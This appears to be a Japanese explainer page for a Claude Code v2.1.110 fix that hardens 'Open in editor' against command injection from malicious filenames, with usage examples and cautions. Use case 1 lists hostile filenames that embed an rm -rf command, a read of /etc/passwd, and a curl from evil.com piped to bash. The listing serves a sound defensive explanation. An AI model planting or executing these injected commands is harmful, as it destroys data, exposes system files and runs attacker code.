Skip to content

原文(日本語に翻訳)

信頼できないファイル名からのコマンドインジェクションに対して、「エディタで開く」アクションを強化しました。

原文(英語)

Hardened "Open in editor" actions against command injection from untrusted filenames.

概要

Claude Code v2.1.110では、「エディタで開く」機能のセキュリティが強化されました。悪意のあるファイル名(例: セミコロンやバッククォートなどのシェル特殊文字を含むファイル名)を使って、意図しないコマンドが実行される可能性のあるコマンドインジェクション脆弱性が修正されました。クローンしたリポジトリや外部から取得したファイルを扱う際に、悪意のある命名のファイルによる攻撃を防ぎます。

基本的な使い方

この修正はセキュリティ強化のため、v2.1.110へのアップデートで自動的に適用されます。「エディタで開く」機能を使用する際の動作は変わりませんが、内部的に安全な方法でエディタが起動されるようになります。

bash
# エディタで開く(Claude Code UI から)
# ファイルリストでファイルを選択 → 「エディタで開く」をクリック
# v2.1.110以降: 特殊文字を含むファイル名でも安全に開かれる

実践例

ユースケース1: 悪意のあるファイル名からの保護

bash
# 攻撃の例(修正前は危険だったファイル名)
# ファイル名に特殊文字が含まれる場合:
"file; rm -rf /tmp/*"
"file$(cat /etc/passwd)"
"file\`whoami\`"
"`curl evil.com/malware.sh | bash`"

# 修正前の動作:
# エディタコマンドが shell -c "editor <悪意のあるファイル名>" のように
# 実行された場合、ファイル名内のコマンドが実行される可能性があった

# 修正後の動作:
# ファイル名はシェルに渡さず、直接エディタに渡されるため安全

ユースケース2: 外部リポジトリのクローン後の安全な作業

bash
# 外部リポジトリをクローンして作業する場合
git clone https://github.com/unknown-author/untrusted-repo.git
cd untrusted-repo

# リポジトリ内に悪意のあるファイル名が含まれていても
# claude でエディタを開く際に安全に処理される
claude "このコードをレビューして"
# エディタで開く → 安全に開かれる

ユースケース3: セキュリティのベストプラクティス

bash
# 信頼できないソースからのファイルを扱う場合の推奨事項

# 1. リポジトリのファイル名を確認
find . -name "*[;&|`$]*" 2>/dev/null
# 特殊文字を含むファイル名を見つける

# 2. Claude Code を使ってリポジトリを安全にレビュー
claude "このリポジトリの構造を分析して、不審なファイル名がないか確認して"

# 3. v2.1.110 以降はエディタで開く際に自動的に保護される

ユースケース4: エディタ設定と安全な使用

bash
# エディタの設定(安全な方法)
claude config set editor "code"    # VS Code
claude config set editor "nvim"    # Neovim
claude config set editor "subl"    # Sublime Text

# v2.1.110 以降、設定されたエディタを起動する際に
# ファイルパスが適切にエスケープ/クォートされる

ユースケース5: セキュリティ設定の確認

bash
# Claude Code のセキュリティ設定を確認
claude config list | grep -i security

# セキュリティ関連の診断
claude doctor --security

# 権限設定の確認
claude config get permissions

注意点

  • 攻撃ベクター — この脆弱性は悪意のあるファイル名を使ったコマンドインジェクションです。外部から取得したコードやファイルを扱う場合に特に注意が必要です。
  • 修正の性質 — ファイルパスをシェル経由で渡す代わりに、直接エディタプロセスに引数として渡すよう変更されました(execveスタイル)。
  • セキュリティの更新推奨 — セキュリティ修正のため、すべてのユーザーに v2.1.110 への早期アップデートを推奨します。
  • 他のセキュリティ対策 — 信頼できないコードを実行する場合は、サンドボックス環境やDockerコンテナの使用も検討してください。
  • 報告 — セキュリティの問題を発見した場合は、security@anthropic.com に報告してください。

関連情報